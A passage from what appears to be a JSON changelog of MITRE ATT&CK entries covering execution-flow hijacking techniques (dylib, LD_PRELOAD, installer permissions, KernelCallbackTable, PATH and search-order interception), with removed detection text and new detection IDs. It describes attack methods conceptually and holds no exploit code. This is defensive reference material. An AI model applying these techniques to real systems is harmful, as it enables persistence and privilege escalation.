"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Module: Module Load\", \"File: File Creation\", \"File: File Modification\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:39.243000+00:00\", \"old_value\": \"2025-04-15 19:59:24.300000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor file systems for moving, renaming, replacing, or modifying dylibs. Changes in the set of dylibs that are loaded by a process (compared to past behavior) that do not correlate with known software, patches, etc., are suspicious. Check the system for multiple dylibs with the same name and monitor which versions have historically been loaded into a process. \\n\\nRun path dependent libraries can include LC_LOAD_DYLIB, LC_LOAD_WEAK_DYLIB, and LC_RPATH. Other special keywords are recognized by the macOS loader are @rpath, @loader_path, and @executable_path.(Citation: Apple Developer Doco Archive Run-Path) These loader instructions can be examined for individual binaries or frameworks using the otool -l command. Objective-See's Dylib Hijacking Scanner can be used to identify applications vulnerable to dylib hijacking.(Citation: Wardle Dylib Hijack Vulnerable Apps)(Citation: Github EmpireProject HijackScanner)\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Monitor file systems for moving, renaming, replacing, or modifying dylibs. Changes in the set of dylibs that are loaded by a process (compared to past behavior) that do not correlate with known software, patches, etc., are suspicious. Check the system for multiple dylibs with the same name and monitor which versions have historically been loaded into a process. \\n-\\n-Run path dependent libraries can include LC_LOAD_DYLIB, LC_LOAD_WEAK_DYLIB, and LC_RPATH. Other special keywords are recognized by the macOS loader are @rpath, @loader_path, and @executable_path.(Citation: Apple Developer Doco Archive Run-Path) These loader instructions can be examined for individual binaries or frameworks using the otool -l command. Objective-See's Dylib Hijacking Scanner can be used to identify applications vulnerable to dylib hijacking.(Citation: Wardle Dylib Hijack Vulnerable Apps)(Citation: Github EmpireProject HijackScanner)\"}}}", + "previous_version": "2.1", + "changelog_mitigations": { + "shared": [ + "M1022: Restrict File and Directory Permissions" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0011: Module (Module Load)", + "DS0022: File (File Creation)", + "DS0022: File (File Modification)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0152: Detection Strategy for Hijack Execution Flow: Dylib Hijacking" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--633a100c-b2c9-41bf-9be5-905c1b16c825", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-03-13 20:09:59.569000+00:00", + "modified": "2025-10-24 17:48:51.810000+00:00", + "name": "Dynamic Linker Hijacking", + "description": "Adversaries may execute their own malicious payloads by hijacking environment variables the dynamic linker uses to load shared libraries. During the execution preparation phase of a program, the dynamic linker loads specified absolute paths of shared libraries from various environment variables and files, such as LD_PRELOAD on Linux or DYLD_INSERT_LIBRARIES on macOS.(Citation: TheEvilBit DYLD_INSERT_LIBRARIES)(Citation: Timac DYLD_INSERT_LIBRARIES)(Citation: Gabilondo DYLD_INSERT_LIBRARIES Catalina Bypass) Libraries specified in environment variables are loaded first, taking precedence over system libraries with the same function name.(Citation: Man LD.SO)(Citation: TLDP Shared Libraries)(Citation: Apple Doco Archive Dynamic Libraries) Each platform's linker uses an extensive list of environment variables at different points in execution. These variables are often used by developers to debug binaries without needing to recompile, deconflict mapped symbols, and implement custom functions in the original library.(Citation: Baeldung LD_PRELOAD)\n\nHijacking dynamic linker variables may grant access to the victim process's memory, system/network resources, and possibly elevated privileges. On Linux, adversaries may set LD_PRELOAD to point to malicious libraries that match the name of legitimate libraries which are requested by a victim program, causing the operating system to load the adversary's malicious code upon execution of the victim program. For example, adversaries have used `LD_PRELOAD` to inject a malicious library into every descendant process of the `sshd` daemon, resulting in execution under a legitimate process. When the executing sub-process calls the `execve` function, for example, the malicious library\u2019s `execve` function is executed rather than the system function `execve` contained in the system library on disk. This allows adversaries to [Hide Artifacts](https://attack.mitre.org/techniques/T1564) from detection, as hooking system functions such as `execve` and `readdir` enables malware to scrub its own artifacts from the results of commands such as `ls`, `ldd`, `iptables`, and `dmesg`.(Citation: ESET Ebury Oct 2017)(Citation: Intezer Symbiote 2022)(Citation: Elastic Security Labs Pumakit 2024)\n\nHijacking dynamic linker variables may grant access to the victim process's memory, system/network resources, and possibly elevated privileges.", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "persistence" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "privilege-escalation" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1574/006", + "external_id": "T1574.006" + }, + { + "source_name": "Apple Doco Archive Dynamic Libraries", + "description": "Apple Inc.. (2012, July 23). Overview of Dynamic Libraries. Retrieved March 24, 2021.", + "url": "https://developer.apple.com/library/archive/documentation/DeveloperTools/Conceptual/DynamicLibraries/100-Articles/OverviewOfDynamicLibraries.html" + }, + { + "source_name": "Baeldung LD_PRELOAD", + "description": "baeldung. (2020, August 9). What Is the LD_PRELOAD Trick?. Retrieved March 24, 2021.", + "url": "https://www.baeldung.com/linux/ld_preload-trick-what-is" + }, + { + "source_name": "TheEvilBit DYLD_INSERT_LIBRARIES", + "description": "Fitzl, C. (2019, July 9). DYLD_INSERT_LIBRARIES DYLIB injection in macOS / OSX. Retrieved March 26, 2020.", + "url": "https://theevilbit.github.io/posts/dyld_insert_libraries_dylib_injection_in_macos_osx_deep_dive/" + }, + { + "source_name": "Intezer Symbiote 2022", + "description": "Joakim Kennedy and The BlackBerry Threat Research & Intelligence Team. (2022, June 9). Symbiote Deep-Dive: Analysis of a New, Nearly-Impossible-to-Detect Linux Threat. Retrieved March 24, 2025.", + "url": "https://intezer.com/blog/research/new-linux-threat-symbiote/" + }, + { + "source_name": "Gabilondo DYLD_INSERT_LIBRARIES Catalina Bypass", + "description": "Jon Gabilondo. (2019, September 22). How to Inject Code into Mach-O Apps. Part II.. Retrieved March 24, 2021.", + "url": "https://jon-gabilondo-angulo-7635.medium.com/how-to-inject-code-into-mach-o-apps-part-ii-ddb13ebc8191" + }, + { + "source_name": "Man LD.SO", + "description": "Kerrisk, M. (2020, June 13). Linux Programmer's Manual. Retrieved June 15, 2020.", + "url": "https://www.man7.org/linux/man-pages/man8/ld.so.8.html" + }, + { + "source_name": "Elastic Security Labs Pumakit 2024", + "description": "Remco Sprooten and Ruben Groenewoud. (2024, December 11). Declawing PUMAKIT. Retrieved March 24, 2025.", + "url": "https://www.elastic.co/security-labs/declawing-pumakit" + }, + { + "source_name": "TLDP Shared Libraries", + "description": "The Linux Documentation Project. (n.d.). Shared Libraries. Retrieved January 31, 2020.", + "url": "https://www.tldp.org/HOWTO/Program-Library-HOWTO/shared-libraries.html" + }, + { + "source_name": "Timac DYLD_INSERT_LIBRARIES", + "description": "Timac. (2012, December 18). Simple code injection using DYLD_INSERT_LIBRARIES. Retrieved March 26, 2020.", + "url": "https://blog.timac.org/2012/1218-simple-code-injection-using-dyld_insert_libraries/" + }, + { + "source_name": "ESET Ebury Oct 2017", + "description": "Vachon, F. (2017, October 30). Windigo Still not Windigone: An Ebury Update . Retrieved February 10, 2021.", + "url": "https://www.welivesecurity.com/2017/10/30/windigo-ebury-update-2/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "macOS" + ], + "x_mitre_version": "2.1", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"File: File Creation\", \"Command: Command Execution\", \"Module: Module Load\", \"Process: Process Creation\", \"File: File Modification\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:51.810000+00:00\", \"old_value\": \"2025-04-15 19:58:36.147000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor for changes to environment variables and files associated with loading shared libraries such as LD_PRELOAD and DYLD_INSERT_LIBRARIES, as well as the commands to implement these changes.\\n\\nMonitor processes for unusual activity (e.g., a process that does not use the network begins to do so). Track library metadata, such as a hash, and compare libraries that are loaded at process execution time against previous executions to detect differences that do not correlate with patching or updates.\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Monitor for changes to environment variables and files associated with loading shared libraries such as LD_PRELOAD and DYLD_INSERT_LIBRARIES, as well as the commands to implement these changes.\\n-\\n-Monitor processes for unusual activity (e.g., a process that does not use the network begins to do so). Track library metadata, such as a hash, and compare libraries that are loaded at process execution time against previous executions to detect differences that do not correlate with patching or updates.\"}}}", + "previous_version": "2.1", + "changelog_mitigations": { + "shared": [ + "M1028: Operating System Configuration", + "M1038: Execution Prevention" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0009: Process (Process Creation)", + "DS0011: Module (Module Load)", + "DS0017: Command (Command Execution)", + "DS0022: File (File Creation)", + "DS0022: File (File Modification)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0435: Detection Strategy for Hijack Execution Flow: Dynamic Linker Hijacking" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--70d81154-b187-45f9-8ec5-295d01255979", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-03-13 11:12:18.558000+00:00", + "modified": "2025-10-24 17:48:56.875000+00:00", + "name": "Executable Installer File Permissions Weakness", + "description": "Adversaries may execute their own malicious payloads by hijacking the binaries used by an installer. These processes may automatically execute specific binaries as part of their functionality or to perform other actions. If the permissions on the file system directory containing a target binary, or permissions on the binary itself, are improperly set, then the target binary may be overwritten with another binary using user-level permissions and executed by the original process. If the original process and thread are running under a higher permissions level, then the replaced binary will also execute under higher-level permissions, which could include SYSTEM.\n\nAnother variation of this technique can be performed by taking advantage of a weakness that is common in executable, self-extracting installers. During the installation process, it is common for installers to use a subdirectory within the %TEMP% directory to unpack binaries such as DLLs, EXEs, or other payloads. When installers create subdirectories and files they often do not set appropriate permissions to restrict write access, which allows for execution of untrusted code placed in the subdirectories or overwriting of binaries used in the installation process. This behavior is related to and may take advantage of [DLL](https://attack.mitre.org/techniques/T1574/001) search order hijacking.\n\nAdversaries may use this technique to replace legitimate binaries with malicious ones as a means of executing code at a higher permissions level. Some installers may also require elevated privileges that will result in privilege escalation when executing adversary controlled code. This behavior is related to [Bypass User Account Control](https://attack.mitre.org/techniques/T1548/002). Several examples of this weakness in existing common installers have been reported to software vendors.(Citation: mozilla_sec_adv_2012) (Citation: Executable Installers are Vulnerable) If the executing process is set to run at a specific time or during a certain event (e.g., system bootup) then this technique can also be used for persistence.", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "persistence" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "privilege-escalation" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1574/005", + "external_id": "T1574.005" + }, + { + "source_name": "mozilla_sec_adv_2012", + "description": "Robert Kugler. (2012, November 20). Mozilla Foundation Security Advisory 2012-98. Retrieved March 10, 2017.", + "url": "https://www.mozilla.org/en-US/security/advisories/mfsa2012-98/" + }, + { + "source_name": "Executable Installers are Vulnerable", + "description": "Stefan Kanthak. (2015, December 8). Executable installers are vulnerable^WEVIL (case 7): 7z*.exe allows remote code execution with escalation of privilege. Retrieved December 4, 2014.", + "url": "https://seclists.org/fulldisclosure/2015/Dec/34" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Travis Smith, Tripwire", + "Stefan Kanthak" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.1", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Service: Service Metadata\", \"File: File Modification\", \"File: File Creation\", \"Process: Process Creation\", \"Module: Module Load\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:56.875000+00:00\", \"old_value\": \"2025-04-15 19:58:41.123000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Look for changes to binaries and service executables that may normally occur during software updates. If an executable is written, renamed, and/or moved to match an existing service executable, it could be detected and correlated with other suspicious behavior. Hashing of binaries and service executables could be used to detect replacement against historical data.\\n\\nLook for abnormal process call trees from typical processes and services and for execution of other commands that could relate to Discovery or other adversary techniques.\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Look for changes to binaries and service executables that may normally occur during software updates. If an executable is written, renamed, and/or moved to match an existing service executable, it could be detected and correlated with other suspicious behavior. Hashing of binaries and service executables could be used to detect replacement against historical data.\\n-\\n-Look for abnormal process call trees from typical processes and services and for execution of other commands that could relate to Discovery or other adversary techniques.\"}}}", + "previous_version": "1.1", + "changelog_mitigations": { + "shared": [ + "M1018: User Account Management", + "M1047: Audit", + "M1052: User Account Control" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0009: Process (Process Creation)", + "DS0011: Module (Module Load)", + "DS0019: Service (Service Metadata)", + "DS0022: File (File Creation)", + "DS0022: File (File Modification)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0038: Detection Strategy for Hijack Execution Flow using Executable Installer File Permissions Weakness" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--a4657bc9-d22f-47d2-a7b7-dd6ec33f3dde", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2022-02-25 15:27:44.927000+00:00", + "modified": "2025-10-24 17:49:11.077000+00:00", + "name": "KernelCallbackTable", + "description": "Adversaries may abuse the KernelCallbackTable of a process to hijack its execution flow in order to run their own payloads.(Citation: Lazarus APT January 2022)(Citation: FinFisher exposed ) The KernelCallbackTable can be found in the Process Environment Block (PEB) and is initialized to an array of graphic functions available to a GUI process once user32.dll is loaded.(Citation: Windows Process Injection KernelCallbackTable)\n\nAn adversary may hijack the execution flow of a process using the KernelCallbackTable by replacing an original callback function with a malicious payload. Modifying callback functions can be achieved in various ways involving related behaviors such as [Reflective Code Loading](https://attack.mitre.org/techniques/T1620) or [Process Injection](https://attack.mitre.org/techniques/T1055) into another process.\n\nA pointer to the memory address of the KernelCallbackTable can be obtained by locating the PEB (ex: via a call to the NtQueryInformationProcess() [Native API](https://attack.mitre.org/techniques/T1106) function).(Citation: NtQueryInformationProcess) Once the pointer is located, the KernelCallbackTable can be duplicated, and a function in the table (e.g., fnCOPYDATA) set to the address of a malicious payload (ex: via WriteProcessMemory()). The PEB is then updated with the new address of the table. Once the tampered function is invoked, the malicious payload will be triggered.(Citation: Lazarus APT January 2022)\n\nThe tampered function is typically invoked using a Windows message. After the process is hijacked and malicious code is executed, the KernelCallbackTable may also be restored to its original state by the rest of the malicious payload.(Citation: Lazarus APT January 2022) Use of the KernelCallbackTable to hijack execution flow may evade detection from security products since the execution can be masked under a legitimate process.", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "persistence" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "privilege-escalation" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1574/013", + "external_id": "T1574.013" + }, + { + "source_name": "FinFisher exposed ", + "description": "Microsoft Defender Security Research Team. (2018, March 1). FinFisher exposed: A researcher\u2019s tale of defeating traps, tricks, and complex virtual machines. Retrieved January 27, 2022.", + "url": "https://www.microsoft.com/security/blog/2018/03/01/finfisher-exposed-a-researchers-tale-of-defeating-traps-tricks-and-complex-virtual-machines/" + }, + { + "source_name": "NtQueryInformationProcess", + "description": "Microsoft. (2021, November 23). NtQueryInformationProcess function (winternl.h). Retrieved February 4, 2022.", + "url": "https://docs.microsoft.com/en-us/windows/win32/api/winternl/nf-winternl-ntqueryinformationprocess" + }, + { + "source_name": "Windows Process Injection KernelCallbackTable", + "description": "odzhan. (2019, May 25). Windows Process Injection: KernelCallbackTable used by FinFisher / FinSpy. Retrieved February 4, 2022.", + "url": "https://modexp.wordpress.com/2019/05/25/windows-injection-finspy/" + }, + { + "source_name": "Lazarus APT January 2022", + "description": "Saini, A. and Hossein, J. (2022, January 27). North Korea\u2019s Lazarus APT leverages Windows Update client, GitHub in latest campaign. Retrieved January 27, 2022.", + "url": "https://blog.malwarebytes.com/threat-intelligence/2022/01/north-koreas-lazarus-apt-leverages-windows-update-client-github-in-latest-campaign/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Process: OS API Execution\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:11.077000+00:00\", \"old_value\": \"2025-04-15 22:43:44.231000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Analyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious behaviors that could relate to post-compromise behavior.\\n\\nMonitoring Windows API calls indicative of the various types of code injection may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances. for known bad sequence of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior. Windows API calls such as WriteProcessMemory() and NtQueryInformationProcess() with the parameter set to ProcessBasicInformation may be used for this technique.(Citation: Lazarus APT January 2022)\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Analyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious behaviors that could relate to post-compromise behavior.\\n-\\n-Monitoring Windows API calls indicative of the various types of code injection may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances. for known bad sequence of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior. Windows API calls such as WriteProcessMemory() and NtQueryInformationProcess() with the parameter set to ProcessBasicInformation may be used for this technique.(Citation: Lazarus APT January 2022)\"}}}", + "previous_version": "1.0", + "changelog_mitigations": { + "shared": [ + "M1040: Behavior Prevention on Endpoint" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0009: Process (OS API Execution)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0577: Detection Strategy for Hijack Execution Flow through the KernelCallbackTable on Windows." + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--0c2d00da-7742-49e7-9928-4514e5075d32", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-03-13 14:10:43.424000+00:00", + "modified": "2025-10-24 17:48:22.736000+00:00", + "name": "Path Interception by PATH Environment Variable", + "description": "Adversaries may execute their own malicious payloads by hijacking environment variables used to load libraries. The PATH environment variable contains a list of directories (User and System) that the OS searches sequentially through in search of the binary that was called from a script or the command line. \n\nAdversaries can place a malicious program in an earlier entry in the list of directories stored in the PATH environment variable, resulting in the operating system executing the malicious binary rather than the legitimate binary when it searches sequentially through that PATH listing.\n\nFor example, on Windows if an adversary places a malicious program named \"net.exe\" in `C:\\example path`, which by default precedes `C:\\Windows\\system32\\net.exe` in the PATH environment variable, when \"net\" is executed from the command-line the `C:\\example path` will be called instead of the system's legitimate executable at `C:\\Windows\\system32\\net.exe`. Some methods of executing a program rely on the PATH environment variable to determine the locations that are searched when the path for the program is not given, such as executing programs from a [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059).(Citation: ExpressVPN PATH env Windows 2021)\n\nAdversaries may also directly modify the $PATH variable specifying the directories to be searched. An adversary can modify the `$PATH` variable to point to a directory they have write access. When a program using the $PATH variable is called, the OS searches the specified directory and executes the malicious binary. On macOS, this can also be performed through modifying the $HOME variable. These variables can be modified using the command-line, launchctl, [Unix Shell Configuration Modification](https://attack.mitre.org/techniques/T1546/004), or modifying the `/etc/paths.d` folder contents.(Citation: uptycs Fake POC linux malware 2023)(Citation: nixCraft macOS PATH variables)(Citation: Elastic Rules macOS launchctl 2022)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "persistence" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "privilege-escalation" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1574/007", + "external_id": "T1574.007" + }, + { + "source_name": "Elastic Rules macOS launchctl 2022", + "description": "Elastic Security 7.17. (2022, February 1). Modification of Environment Variable via Launchctl. Retrieved September 28, 2023.", + "url": "https://www.elastic.co/guide/en/security/7.17/prebuilt-rule-7-16-4-modification-of-environment-variable-via-launchctl.html" + }, + { + "source_name": "ExpressVPN PATH env Windows 2021", + "description": "ExpressVPN Security Team. (2021, November 16). Cybersecurity lessons: A PATH vulnerability in Windows. Retrieved September 28, 2023.", + "url": "https://www.expressvpn.com/blog/cybersecurity-lessons-a-path-vulnerability-in-windows/" + }, + { + "source_name": "uptycs Fake POC linux malware 2023", + "description": "Nischay Hegde and Siddartha Malladi. (2023, July 12). PoC Exploit: Fake Proof of Concept with Backdoor Malware. Retrieved September 28, 2023.", + "url": "https://www.uptycs.com/blog/new-poc-exploit-backdoor-malware" + }, + { + "source_name": "nixCraft macOS PATH variables", + "description": "Vivek Gite. (2023, August 22). MacOS \u2013 Set / Change $PATH Variable Command. Retrieved September 28, 2023.", + "url": "https://www.cyberciti.biz/faq/appleosx-bash-unix-change-set-path-environment-variable/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Stefan Kanthak" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows", + "macOS", + "Linux" + ], + "x_mitre_version": "1.2", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"File: File Creation\", \"Windows Registry: Windows Registry Key Modification\", \"Process: Process Creation\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:22.736000+00:00\", \"old_value\": \"2025-04-15 19:58:05.096000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor file creation for files named after partial directories and in locations that may be searched for common processes through the environment variable, or otherwise should not be user writable. Monitor the executing process for process executable paths that are named for partial directories. Monitor file creation for programs that are named after Windows system programs or programs commonly executed without a path (such as \\\"findstr,\\\" \\\"net,\\\" and \\\"python\\\"). If this activity occurs outside of known administration activity, upgrades, installations, or patches, then it may be suspicious.\\n\\nData and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Monitor file creation for files named after partial directories and in locations that may be searched for common processes through the environment variable, or otherwise should not be user writable. Monitor the executing process for process executable paths that are named for partial directories. Monitor file creation for programs that are named after Windows system programs or programs commonly executed without a path (such as \\\"findstr,\\\" \\\"net,\\\" and \\\"python\\\"). If this activity occurs outside of known administration activity, upgrades, installations, or patches, then it may be suspicious.\\n-\\n-Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.\"}}}", + "previous_version": "1.2", + "changelog_mitigations": { + "shared": [ + "M1022: Restrict File and Directory Permissions", + "M1038: Execution Prevention", + "M1047: Audit" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0009: Process (Process Creation)", + "DS0022: File (File Creation)", + "DS0024: Windows Registry (Windows Registry Key Modification)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0004: Detection Strategy for Hijack Execution Flow using Path Interception by PATH Environment Variable." + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--58af3705-8740-4c68-9329-ec015a7013c2", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-03-13 17:48:58.999000+00:00", + "modified": "2025-10-24 17:48:49.665000+00:00", + "name": "Path Interception by Search Order Hijacking", + "description": "Adversaries may execute their own malicious payloads by hijacking the search order used to load other programs. Because some programs do not call other programs using the full path, adversaries may place their own file in the directory where the calling program is located, causing the operating system to launch their malicious software at the request of the calling program.\n\nSearch order hijacking occurs when an adversary abuses the order in which Windows searches for programs that are not given a path. Unlike [DLL](https://attack.mitre.org/techniques/T1574/001) search order hijacking, the search order differs depending on the method that is used to execute the program. (Citation: Microsoft CreateProcess) (Citation: Windows NT Command Shell) (Citation: Microsoft WinExec) However, it is common for Windows to search in the directory of the initiating program before searching through the Windows system directory. An adversary who finds a program vulnerable to search order hijacking (i.e., a program that does not specify the path to an executable) may take advantage of this vulnerability by creating a program named after the improperly specified program and placing it within the initiating program's directory.\n\nFor example, \"example.exe\" runs \"cmd.exe\" with the command-line argument net user. An adversary may place a program called \"net.exe\" within the same directory as example.exe, \"net.exe\" will be run instead of the Windows system utility net. In addition, if an adversary places a program called \"net.com\" in the same directory as \"net.exe\", then cmd.exe /C net user will execute \"net.com\" instead of \"net.exe\" due to the order of executable extensions defined under PATHEXT. (Citation: Microsoft Environment Property)\n\nSearch order hijacking is also a common practice for hijacking DLL loads and is covered in [DLL](https://attack.mitre.org/techniques/T1574/001).", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "persistence" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "privilege-escalation" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1574/008", + "external_id": "T1574.008" + }, + { + "source_name": "Microsoft Environment Property", + "description": "Microsoft. (2011, October 24). Environment Property. Retrieved July 27, 2016.", + "url": "https://docs.microsoft.com/en-us/previous-versions//fd7hxfdd(v=vs.85)?redirectedfrom=MSDN" + }, + { + "source_name": "Microsoft CreateProcess", + "description": "Microsoft. (n.d.). CreateProcess function. Retrieved September 12, 2024.", + "url": "https://learn.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-createprocessa" + }, + { + "source_name": "Microsoft WinExec", + "description": "Microsoft. (n.d.). WinExec function. Retrieved September 12, 2024.", + "url": "https://learn.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-winexec" + }, + { + "source_name": "Windows NT Command Shell", + "description": "Tim Hill. (2014, February 2). The Windows NT Command Shell. Retrieved December 5, 2014.", + "url": "https://docs.microsoft.com/en-us/previous-versions//cc723564(v=technet.10)?redirectedfrom=MSDN#XSLTsection127121120120" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Stefan Kanthak" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.1", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Process: Process Creation\", \"File: File Modification\", \"File: File Creation\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:49.665000+00:00\", \"old_value\": \"2025-04-15 19:58:33.873000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor file creation for files named after partial directories and in locations that may be searched for common processes through the environment variable, or otherwise should not be user writable. Monitor the executing process for process executable paths that are named for partial directories. Monitor file creation for programs that are named after Windows system programs or programs commonly executed without a path (such as \\\"findstr,\\\" \\\"net,\\\" and \\\"python\\\"). If this activity occurs outside of known administration activity, upgrades, installations, or patches, then it may be suspicious.\\n\\nData and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network 